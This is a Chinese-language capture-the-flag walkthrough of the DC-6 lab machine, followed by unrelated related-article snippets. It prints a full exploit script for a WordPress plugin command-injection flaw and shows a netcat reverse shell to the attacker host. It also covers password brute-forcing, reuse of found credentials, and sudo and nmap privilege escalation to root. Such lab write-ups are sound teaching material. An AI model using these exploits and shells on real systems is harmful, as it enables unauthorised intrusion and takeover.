[+] Finished: Tue May 28 13:49:47 2024
[+] Requests Done: 12720
[+] Cached Requests: 5
[+] Data Sent: 6.222 MB
[+] Data Received: 7.74 MB
[+] Memory used: 312.531 MB
[+] Elapsed time: 00:06:46

3.3.2 hydra爆破

使用xhydra爆破网页登录页面,
参数设置如下:
Target :192.168.6.157
Protocol:http-post-form
Target
Username List:/home/kali/dev_run_app/vulhub/dc-6/users.txt
Password List:/home/kali/dev_run_app/vulhub/dc-6/passwords.txt
passwords
Specific参数设置:
http/https URL:/wp-admin.php:log=USER&pwd=PASS:s=logout
specific
最后点击start
结果
无果,O(∩_∩)O哈哈~ pass

综上所述,获得一个用户名和密码:

序号用户名密码
1markhelpdesk01

3.4 mark用户相关

3.4.1 登录页面

利用爆破获得的用户和密码登录管理页面
管理页面:http://192.168.6.157/wp-admin/
登录成功

3.4.2 Tools插件

登录成功以后,发现Activity_monitor插件
Tools
尝试使用whoami:
whoami
尝试id命令:
id
综上所述,可以发现有RCE(远程命令执行)漏洞

3.4.3 漏洞搜索

┌──(root㉿kali)-[/home/kali]
└─# searchsploit -w Activity monitor
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                                                                   |  URL
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
Activity Monitor 2002 2.6 - Remote Denial of Service                                                             | https://www.exploit-db.com/exploits/22690
RedHat Linux 6.0/6.1/6.2 - 'pam_console' Monitor Activity After Logout                                           | https://www.exploit-db.com/exploits/19900
WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection                         | https://www.exploit-db.com/exploits/45274
WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)           | https://www.exploit-db.com/exploits/50110
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results
Papers: No Results


发现4个可以利用的漏洞脚本。

┌──(root?kali)-[/home/kali]
└─# searchsploit -x php/webapps/50110.py
  Exploit: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)
      URL: https://www.exploit-db.com/exploits/50110
     Path: /usr/share/exploitdb/exploits/php/webapps/50110.py
    Codes: CVE-2018-15877
 Verified: False
File Type: Python script, Unicode text, UTF-8 text executable

3.4.4 查看poc文件

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# cp /usr/share/exploitdb/exploits/php/webapps/50110.py poc.py

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# cat poc.py                                                  
# Exploit Title: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)
# Date: 07.07.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://wordpress.org/plugins/plainview-activity-monitor/
# Software Link: https://www.exploit-db.com/apps/2e1f384e5e49ab1d5fbf9eedf64c9a15-plainview-activity-monitor.20161228.zip
# Version: 20161228 and possibly prior
# Fixed version: 20180826
# CVE : CVE-2018-15877

"""
-------------------------
Usage:
┌──(root@kali)-[~/tools]
└─# python3 WordPress-Activity-Monitor-RCE.py
What's your target IP?
192.168.101.28
What's your username?
mark
What's your password?
password123
[*] Please wait...
[*] Perfect!
www-data@192.168.101.28  whoami
www-data
www-data@192.168.101.28  pwd
/var/www/html/wp-admin
www-data@192.168.101.28  id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
"""

import requests
from bs4 import BeautifulSoup

def exploit(whoami, ip):
	while 1:
		cmd = input(whoami+"@"+ip+"  ")
		url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
		payload = "google.com.tr | " + cmd
		data = {'ip': payload , 'lookup' : 'lookup' }
		x = requests.post(url, data = data, cookies=getCookie(ip))
		html_doc = x.text.split("<p>Output from dig: </p>")[1]
		soup = BeautifulSoup(html_doc, 'html.parser')
		print(soup.p.text)

def poc(ip):
	url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
	myobj = {'ip': 'google.fr | whoami', 'lookup' : 'lookup' }
	x = requests.post(url, data = myobj, cookies=getCookie(ip))
	html_doc = x.text.split("<p>Output from dig: </p>")[1]
	soup = BeautifulSoup(html_doc, 'html.parser')
	print("[*] Perfect! ")
	exploit(soup.p.text, ip)

def getCookie(ip):
	url = 'http://' + ip + '/wp-login.php'
	#log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1
	data = {'log':username, 'pwd':password, 'wp-submit':'Log In', 'testcookie':'1'}
	x = requests.post(url, data = data)
	cookies = {}
	cookie = str(x.headers["Set-Cookie"])

	for i in cookie.split():
		if(i.find("wordpress") != -1 and i.find("=") != -1):
			cookies[i.split("=")[0]] = i.split("=")[1][:len(i.split("=")[1])-1]
	return cookies

ip = input("What's your target IP?\n")
username = input("What's your username?\n")
password = input("What's your password?\n")
print("[*] Please wait...")
poc(ip)                                      

该poc文件中已经说明使用方法

3.4.5 运行poc文件

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# python poc.py              
What's your target IP?
192.168.6.157
What's your username?
mark
What's your password?
helpdesk01
[*] Please wait...
[*] Perfect! 
www-data@192.168.6.157  

3.4.6 反弹shell

3.4.6.1 kali监听6666端口
┌──(root㉿kali)-[/home/kali]
└─# nc -lvvp 6666                      
listening on [any] 6666 ...
3.4.6.2 反弹shell

运行poc.py后的终端:

www-data@192.168.6.157  nc -e /bin/sh 192.168.6.66 6666
3.4.6.3 调用标准终端
┌──(root㉿kali)-[/home/kali]
└─# nc -lvvp 6666                      
listening on [any] 6666 ...
connect to [192.168.6.66] from wordy [192.168.6.157] 56862
python -c "import pty;pty.spawn('/bin/bash')"
www-data@dc-6:/var/www/html/wp-admin$ 

调用标准终端成功。

3.4.7 尝试suid提权

寻找有SUID权限(4000)的文件,不显示其他的错误信息:

www-data@dc-6:/var/www/html/wp-admin$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/bin/su
/bin/mount
/bin/umount
/bin/ping
www-data@dc-6:/var/www/html/wp-admin$ 

无果。

3.4.8 更多系统信息

在/home/mark/stuff文件发现graham账号的用户信息。

www-data@dc-6:/var/www/html/wp-admin$ cd /home
cd /home
www-data@dc-6:/home$ ls
ls
graham	jens  mark  sarah
www-data@dc-6:/home$ cd mark
cd mark
www-data@dc-6:/home/mark$ ls
ls
stuff
www-data@dc-6:/home/mark$ cd stuff
cd stuff
www-data@dc-6:/home/mark/stuff$ ls
ls
things-to-do.txt
www-data@dc-6:/home/mark/stuff$ cat th*
cat th*
Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

获得账号信息:

序号用户名密码
1grahamGSo7isUM1D4

3.5 graham用户相关

3.5.1 切换graham用户

www-data@dc-6:/home/mark/stuff$ su graham
su graham
Password: GSo7isUM1D4

graham@dc-6:/home/mark/stuff$ 

登录graham用户成功

3.5.2 再次尝试sudo提权

graham@dc-6:/home/mark/stuff$ sudo -l
sudo -l
Matching Defaults entries for graham on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
    (jens) NOPASSWD: /home/jens/backups.sh

发现/home/jens/backups.sh

3.5.3 bash写入backups.sh

graham@dc-6:/home/jens$ echo "/bin/bash" >> backups.sh
echo "/bin/bash" >> backups.sh
graham@dc-6:/home/jens$ 

3.6 jens用户相关

3.6.1 切换jens用户

graham@dc-6:/home/jens$ sudo -u jens ./backups.sh
sudo -u jens ./backups.sh
tar: Removing leading `/' from member names
jens@dc-6:~$ 

切换jens用户成功。

3.6.2 查看suid可执行的命令

jens@dc-6:~$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/bin/su
/bin/mount
/bin/umount
/bin/ping
jens@dc-6:~$ 

3.6.3 查看sudo可执行的命令

sudo -l
Matching Defaults entries for jens on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jens may run the following commands on dc-6:
    (root) NOPASSWD: /usr/bin/nmap

发现可执行的sudo命令:/usr/bin/nmap

3.7 nmap提权

3.7.1 创建shell.nse文件

jens@dc-6:~$ echo 'os.execute("/bin/bash")' > shell.nse
echo 'os.execute("/bin/bash")' > shell.nse
jens@dc-6:~$ ls
ls
backups.sh  backups.tar.gz  shell.nse
jens@dc-6:~$ 

3.7.2 执行shell.nse文件

jens@dc-6:~$ sudo -u root nmap --script=shell.nse
sudo -u root nmap --script=shell.nse

Starting Nmap 7.40 ( https://nmap.org ) at 2024-05-29 22:52 AEST
root@dc-6:/home/jens# 

千难万难终于取得root权限,O(∩_∩)O哈哈~

3.7.3 查看flag

root@dc-6:/home/jens# find / -name *flag*
/var/www/html/wp-includes/images/icon-pointer-flag.png
/var/www/html/wp-includes/images/icon-pointer-flag-2x.png
/var/lib/mysql/debian-10.1.flag
/usr/lib/x86_64-linux-gnu/perl/5.24.1/bits/waitflags.ph
/sys/kernel/debug/tracing/events/power/pm_qos_update_flags
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/root/theflag.txt
root@dc-6:/home/jens# cat /root/theflag.txt


Yb        dP 888888 88     88         8888b.   dP"Yb  88b 88 888888 d8b 
 Yb  db  dP  88__   88     88          8I  Yb dP   Yb 88Yb88 88__   Y8P 
  YbdPYbdP   88""   88  .o 88  .o      8I  dY Yb   dP 88 Y88 88""   `"' 
   YP  YP    888888 88ood8 88ood8     8888Y"   YbodP  88  Y8 888888 (8) 


Congratulations!!!

Hope you enjoyed DC-6.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.


渗透总结

在DC-5靶场渗透测试中,使用了nmap、whatweb等工具进行渗透测试,使用nmap进行主机发现和端口扫描测试,使用dirb扫描目录,使用whatweb信息网页信息搜集取到了关键信息,wpscan爆破用户名和密码,最后进行了linux系统提权,并获得所有的flag,思路如下:

  • 使用nmap进行主机发现和端口扫描
  • 使用dir目录扫描
  • 漏洞搜索
  • 获得poc,并运行poc文件
  • 反弹shell
  • 进行3个用户(mark,graham,jens)系统信息探索
  • nmap获得root权限
  • linux内核提权,并获得flag

参考文章

  • DC-6环境
  • arp-scan使用
  • nmap详细使用教程
  • 黑客工具之whatweb详细使用教程
  • xhydra的使用
  • WPScan使用完整攻略
  • web网站目录爆破工具Dirb使用指南
  • dirsearch使用教程
  • dc-6渗透测试流程图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/682855.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2024050302-重学 Java 设计模式《实战享元模式》

重学 Java 设计模式&#xff1a;实战享元模式「基于Redis秒杀&#xff0c;提供活动与库存信息查询场景」 一、前言 程序员&#x1f468;‍&#x1f4bb;‍的上下文是什么&#xff1f; 很多时候一大部分编程开发的人员都只是关注于功能的实现&#xff0c;只要自己把这部分需求…

现代控制中可控性的Gramian判据

知乎三角猫frank对于这块内容写的非常好&#xff0c;但这个输入的构造还是很难过于没头没尾 数学好的人&#xff0c;可能看一眼根据形式就能推出gramian的构造&#xff0c;但对我这种比较钻牛角尖的人&#xff0c;我就想有一个逻辑链条——gramian是怎么被构造出来的&#xff1…

eNSP学习——配置RIPv2认证

目录 主要命令 原理概述 实验目的 实验内容 实验拓扑 实验编址 实验步骤 1、基本配置 2、搭建RIP网络 3、模拟网络攻击 4、配置RIPv2简单验证 5、配置RIPv2 MD5密文验证 需要eNSP各种配置命令的点击链接自取&#xff1a;华为&#xff45;NSP各种设备配置命令大全PD…

区块链游戏(链游)安全防御:抵御攻击的策略与实践

一、引言 区块链游戏&#xff0c;或称为链游&#xff0c;近年来随着区块链技术的普及而迅速崛起。然而&#xff0c;如同其他任何在线平台一样&#xff0c;链游也面临着各种安全威胁。本文将探讨链游可能遭遇的攻击类型以及如何通过有效的策略和技术手段进行防御。 二、链游可…

如何手动批准内核扩展 Tuxera NTFS for mac内核扩展需要批准 内核扩展怎么打开

在了解如何手动批准内核扩展之前&#xff0c;我们应该先了解什么叫做内核扩展。内核扩展又被称为KEXT&#xff0c;通过它可以实现macOS系统与软件组件之间的交互&#xff0c;例如磁盘管理、任务管理和内存管理等等。 kext 是内核扩展&#xff08;Kernel Extension&#xff09;…

[ue5]建模场景学习笔记(2)——用vectornoise降低重复率

1.问题分析&#xff1a; 利用改uv的方式降低重复率并不理想&#xff0c;在一定程度上的确能够达到降低重复率的效果&#xff0c;但远看仍然有较清晰的重复效果&#xff0c;尝试优化一下。 2.操作实现&#xff1a; 1.首先先看一下修改后的效果&#xff1a; 这是未修改前&#…

arco disign 封装数值范围组件

实现效果: 环境:vue3 arco disign vue a_input_number 实现代码: NumRange.vue <template> <span><a-input-numberv-model"minValue"style"width: 45%"v-bind"options"input"minInput"/><span:style"{…

Vue3中的常见组件通信之mitt

Vue3中的常见组件通信之mitt 概述 ​ 在vue3中常见的组件通信有props、mitt、v-model、 r e f s 、 refs、 refs、parent、provide、inject、pinia、slot等。不同的组件关系用不同的传递方式。常见的撘配形式如下表所示。 组件关系传递方式父传子1. props2. v-model3. $refs…

JMeter的基本使用

JMeter的基本使用三步骤&#xff1a;1.添加线程、2.添加请求、3.添加查询结果的内容 如果需要添加token请求头来验证&#xff0c;则需要再加上一步骤&#xff1a;添加请求头 1.线程 添加线程的方式 主要修改者三个属性值 Number of Threads&#xff1a;并发线程数 Ramp-up…

转转回收业务策略中心的实践

1 背景 回收业务发展日益壮大&#xff0c;我们在邮寄、上门、门店三大履约模式下的业务逻辑日益复杂。同样都是在做回收这一个业务&#xff0c;即便履约方式不同&#xff0c;也有很多业务概念是一致的。为了避免各个业务闷头造轮子&#xff0c;同时又能拉齐三端的业务标准&…

王学岗鸿蒙开发(北向)——————(二)TS基本语法详解

1&#xff0c;Ts(TypeScript)语法相当于JAVAScript类型&#xff0c;鸿蒙arkTs是基于TS语言的,当然artTs也融合了其它的语言。 2&#xff0c;本篇文章是基于n9版本。注意,有些语法是已经不能用的。 3&#xff0c; 4&#xff0c;变量:用来存储数据,数字字母组成&#xff0c;数字不…

Java线程本地变量ThreadLocal

ThreadLocal ThreadLocal有什么用 通常情况下&#xff0c;我们创建的变量是可以被任何一个线程访问并修改的。如果想实现每一个线程都有自己的专属本地变量该如何解决呢&#xff1f; JDK中的ThreadLocal类正是为了解决这样的问题&#xff0c;ThreadLocal类主要解决的就是让每…

关于yolov8识别滑块关键点

1&#xff0c;images,annotations创建 IMAGES&#xff1a;放图片材料的 ANNTATIONS&#xff1a;放labelImg标记的xml文件 2&#xff0c;labels,txt怎么来的 labels &#xff1a;可以手动创建&#xff0c;里面还配置了train,val,test文件夹。可手动&#xff08;以下代码中没有写…

【办公类-04-02】华为助手导出照片读取拍摄时间分类导出,视频不行)

背景需求 今天我用QQ相册导出照片&#xff0c;但是始终在转圈&#xff0c;手机上无法跳出“连结“”的提示&#xff0c;换了台式和笔记本都无法传输。&#xff08;明明5月14日还可以导出的&#xff09; 最后我只能用华为传输助手&#xff0c;把照片快速提取出来了。 使用原来…

Java--什么是方法

1.Java方法是语句的集合&#xff0c;它们在一起执行一个功能 1.方法是解决一类问题的步骤的有序组合 2.方法包含于类和对象中 3.方法在程序中被创建&#xff0c;在其他地方被引用 2.设计方法的原则&#xff1a;方法的本意是功能块&#xff0c;就是实现某个功能的语句块的集合&…

苹果宣布将对App Store条款进行一系列更新和改变

据了解&#xff0c;App Store将为开发者提供多项举措。包括开发者可以向用户介绍他们在iOS App之外的购买选项&#xff1b;增加开发者针对订阅、App内购买与付费App可提供的价格点数量&#xff1b;设立一项新基金&#xff0c;以协助符合资质的美国开发者等。 具体七项举措如下&…

2024050401-重学 Java 设计模式《实战代理模式》

重学 Java 设计模式&#xff1a;实战代理模式「模拟mybatis-spring中定义DAO接口&#xff0c;使用代理类方式操作数据库原理实现场景」 一、前言 难以跨越的瓶颈期&#xff0c;把你拿捏滴死死的&#xff01; 编程开发学习过程中遇到的瓶颈期&#xff0c;往往是由于看不到前进…

simulink如何配置自动代码生成

simulink如何配置我们的自动代码生成 仿真时间设置我们仿真我们这个模型的一个时间&#xff0c;目前默认它是10秒。如果把它改成“INF”&#xff0c;它就是会一直仿真。 求解器选择&#xff0c;因为我们使用的是嵌入式代码&#xff0c;因此我们一般嵌入式是一个数字量。所以选…

俞敏洪一句“乱七八糟”,让东方甄选跌了40亿

“虽然直播的特点就是能说会道&#xff0c;但是网上那种买买买的嚎叫&#xff0c;我是完全看不起的”&#xff0c;俞敏洪在2023亚布力论坛上颇为自豪地说。 在他看来&#xff0c;“直播带货”本质上也是教育的一种&#xff0c;对产品进行知识性讲解才是最核心的一环。而知识传…

【网络编程开发】4.socket套接字及TCP的实现框架 5.TCP多进程并发

4.socket套接字及TCP的实现框架 Socket套接字 Socket套接字是网络编程中用于实现不同计算机之间通信的一个基本构建块。 在现代计算机网络中&#xff0c;Socket套接字扮演着至关重要的角色。它们为应用程序提供了一种方式&#xff0c;通过这种方式&#xff0c;程序能够通过网…